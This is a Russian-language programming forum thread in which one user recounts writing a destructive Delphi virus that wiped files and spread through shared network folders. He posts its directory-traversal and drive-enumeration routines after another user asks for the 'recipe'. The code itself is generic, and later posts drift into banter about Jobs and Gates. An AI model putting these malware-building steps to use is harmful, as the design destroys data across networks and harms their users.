(!!!) и от любопытства запускал его. Аналогично - из сетевых папок. Итого: 60% компов в сети оказались убиты за 7-8 дней. потом админы разобрались и выловили вирус.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 00:51:59
Росскожи пожалуйста как писать в сетевой диск .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 00:52:49
Я пробовал . Ни чего не выходит . Так что тренируюсь пока на локальном диске Ц .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 17 Мая 2013, 10:28:44
Я писал эту прогу на Дельфях. Для этого языка существует куча специально разработаных функций и процедур

http://delphiworld.narod.ru/_all_articles_.html

которые используются на манер конструктора "Лего". Зачем изобретать велосипед?  Поищите по С++ подобные материалы, наверняка такое должно быть в сети. А дальше - выбираете нужное, увязываете в прогу, и - вуаля!

В этом же случае я выбирал список  логических дисков и рубил там файлы. Потом выбирал список расшареных папок этого компа и копировал туда несколько копий исполняемого файла, просто так и замаскированным под разную фигню. Как-то так.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 17:18:38
Обход был рекурсивным ? Сколько уровней вложенных котологоф удалось обойти ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 17:29:42
Вот всякие ламеры врут что типа итерация свойственна человеку , а рекурсия -- богу . По-моему все это -- бред сивой кобылы и ламерщина . А тот кто это придумал , лучше бы сочинял музыку .
Про Ассемблер  вообще подобное сказать нельзя . Хотя бы потому что для рекурсии нужны локальные переменные , а в Ассемблере их получить весьма трудно .

Аппаратная архитектура процессора использует итерацию а не рекурсию .
Любопытно , что поклонники рекурсии , как правило , не любят оператор GOTO .
А я скажу вот что ---- GOTO -- просто необходимая команда ! Она есть в микрокоде процессора , в паре с CMP она может заменить любой цикл . И вообще , что есть внутри процессора , то лишним в программе быть не может .

Я тут пытался сообразить функцию обхода котологоф . Функция работает
исправно , только медленно . Как ни крути , а рекурсия тут бы пригодилась , да только я не знаю как заставить работать рекурсивный алгоритм .
 
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 17:38:15
само ядро системы этот вирус не жрал.

Ещё бы ! Ядро в ring 0 . Практически в кольце всевластия !
Чтобы вирус написанный в Дельфи , сожрал ядро ? Мечтать не вредно ! Да и как его сожрешь когда оно в неперемещаемой области памяти .

Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Мая 2013, 17:42:32
Но вот все остальное летело на фиг со второй космической скоростью.

Чего он такое учинил что сеть упала ? Расскажите плз я хочу знать рецепт .

Даже фоновый рисунок рабочего стола благополучно подьедался этой злобной прогой.

Он менял рабочий стол через  реестр или модифицировал файл с картинкой ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 20 Мая 2013, 10:30:19
Обход был рекурсивным ? Сколько уровней вложенных котологоф удалось обойти ?

Естественно. Все, что есть.

Это было что-то типа

procedure TForm1.FindFile(Dir:String);
 Var SR:TSearchRec;
     FindRes:Integer;
 begin
 FindRes:=FindFirst(Dir+'*.*',faAnyFile,SR);
 While FindRes=0 do
    begin
       if ((SR.Attr and faDirectory)=faDirectory) and
       ((SR.Name='.')or(SR.Name='..')) then
          begin
             FindRes:=FindNext(SR);
             Continue;
          end;

       if ((SR.Attr and faDirectory)=faDirectory) then  // если найден каталог, то
          begin
             FindFile(Dir+SR.Name+'\');  // входим в процедуру поиска с параметрами текущего каталога + каталог, что мы нашли
             FindRes:=FindNext(SR);  // после осмотра вложенного каталога мы продолжаем поиск в этом каталоге
             Continue;  // продолжить цикл
          end;

       ListBox1.Items.Add(SR.Name);
       FindRes:=FindNext(SR);
    end;
 FindClose(SR);
 end;

Поиск логических дисков

procedure TForm1.FormCreate(Sender: TObject);
var
  Disklist:DWORD;
  Letter:Char;
  Outstring: String;
begin
    Caption:='Список дисков';
    ListBox1.Font.Name:= 'Courier';
    Disklist:= GetLogicaldrives;
    Letter:= 'A';
    while (Disklist>0) do begin
      if Odd(Disklist) then begin
          case GetDriveType(Pchar(Letter + ':\')) of
            0: Outstring :='[невозможно определить тип]';
            1: Outstring :='[не существует корневая папка]';
              DRIVE_REMOVABLE:Outstring:='[сменный диск]';
              DRIVE_FIXED:Outstring:='[жесткий диск]';
              DRIVE_REMOTE:Outstring:='[сетевой диск]';
              DRIVE_CDROM:Outstring:='[CD диск]';
              DRIVE_RAMDISK:Outstring:='[RAM диск]';
          end;
          Outstring:= 'Disk'+Letter+': '+ Outstring;
          ListBox1.Items.Add(Outstring);
        end;
        Disklist:= Disklist shr 1;
        Inc(Letter);
      end;
end;

Замена файлов собой - не помню где эта процедурка, нужно искать.

Он менял рабочий стол через  реестр или модифицировал файл с картинкой ?

Второе. Хотя убить реестр - тоже не проблема.

Чего он такое учинил что сеть упала ? Расскажите плз я хочу знать рецепт .

Убил большой процент компов в этой сети. А когда это происходит, то много вирусов одновременно Пытаются щемиться в сетевые папки и чего-то там кидают по сети, от этого скорость работы сети падает. Гигабитки-то тогда не было)))
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 04 Сентября 2013, 19:31:22
У меня в системе объявился процесс который называется WINCIN . Почему-то мне это название не нравится !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 04 Сентября 2013, 19:57:44
Не буду я больше учить албанский Ассемблер ... Я в нём разочаровался . Оказывается Ассемблером нельзя вызвать землетрясение и повысить зарплату . Облом вселенский .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 05 Сентября 2013, 08:48:22
Кому же нравятся левые процессы в системе...

Теперь что учить будете?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 06 Сентября 2013, 01:24:01
WIN CIN  ---- это вирус " Чернобыль " хаха . Тот самый который необратимо терминирует БИОС и уничтожает компьютер на корню .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 06 Сентября 2013, 01:25:45
Теперь что учить будете?

Биографии миллионеров . Надо же когда-то браться за ум . Ещё у меня есть мысль коллекционировать аудиокниги .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 06 Сентября 2013, 01:32:42
Тут я недавно смотрел фильмец про Джобса ---- и прямо сказать я ваще заценил этого комрада . Оказывается он не просто лысый айфонщик а и вправду крутой бобёр и изобретатель . Но этот гнусный гоблин этот сын сатаны этот наместник Соурона это чучело Билл гейц всё у него украл как последний гоблин . И мораль фильма была такова : Трудолюбивые и умные люди десятилетиями изобретают мега-аццкое изобретение чтобы подарить его людям а какой-то проходимец , в жизни ни на что не годный и не написавший в жизни ничего кроме оцтойнейшего интерпретатора бейсика , всё крадёт с помощью хитрости и сдаёт всех подряд в зоопарк . Отсюда вывод ---- беспринципная вороватая хитрость полезнее чем ум и трудолюбие .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 06 Сентября 2013, 01:35:05
Нет  на Земле справедливости , просто чума ! Если была бы хоть небольшая справедливость , то билли гейца зажарили живьём на костре бы ещё в прошлом веке .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 06 Сентября 2013, 11:56:56
И вы работали бы на Линуксе вместо винды. Кто вам мешает сейчас так делать? Тогда вы будете честны до конца.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Vellaria от 06 Сентября 2013, 14:21:08
Тут я недавно смотрел фильмец про Джобса
Ничего страшного, что он сам с большой вероятностью своровал идеи у своего инженера-тезки?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Helcanaro от 06 Сентября 2013, 14:38:36
Они оба своровали у Алана Кэя из Xerox PARC.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 06 Сентября 2013, 15:34:40
Не удивительно. Если даже сейчас воруют друг у друга идеи для всяких относительно новых гаджетов, то тогда - не удивительно, что своровали такую передовую идею, как эта. Воровство идей - это не новость. Но Гейтс и Джобс - оба заработали миллионы на этой идее. А вы, Мышьяк, ругайте их, ругайте... Можете даже по телевизору их ругать - они только рады будут. Я бы на Вашем месте если уж решил их ругать - так хоть деньги с них за это брал. А так....
Название: Re: ФУНКЦИИ СИ .
Отправлено: Vellaria от 06 Сентября 2013, 16:35:19
Мертвые ныне имеют доступ в мир живых?)
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 07 Сентября 2013, 03:52:50
. Можете даже по телевизору их ругать - они только рады будут. Я бы на Вашем месте если уж решил их ругать - так хоть деньги с них за это брал. А так....

Я один раз просочился в телевизер . Но меня засекли .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 07 Сентября 2013, 03:53:21
Мертвые ныне имеют доступ в мир живых?)

Хто здеся ?!!!!!!!!!!
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 07 Сентября 2013, 03:54:25
И вы работали бы на Линуксе вместо винды. Кто вам мешает сейчас так делать? Тогда вы будете честны до конца.

Я и так честнее фсех . Это аксиома . Работа на линуксе никак с честностью нисвязана вобще и никогда .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 07 Сентября 2013, 03:55:07
Ничего страшного, что он сам с большой вероятностью своровал идеи у своего инженера-тезки?

У кого ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Sinchiroca от 14 Ноября 2013, 01:13:46
Я и так честнее фсех . Это аксиома . Работа на линуксе никак с честностью нисвязана вобще и никогда .
Но ведь приятно работать на хорошей ОС) Попробуйте FreeBSD! :) Ее лицензия еще более честная, чем GPL.
Но, вообще-то, есть только один истинный ОС... из славного рода Unix.. Irix имя ему.  :D
Название: Re: ФУНКЦИИ СИ .
Отправлено: Adelis от 17 Ноября 2018, 13:12:40
Вроде работает . Если программа в середине выполнения выглядит как будто она зависла ---- не отключайте её , на самом деле она в порядке .
Наверно ошибка в коде.  :(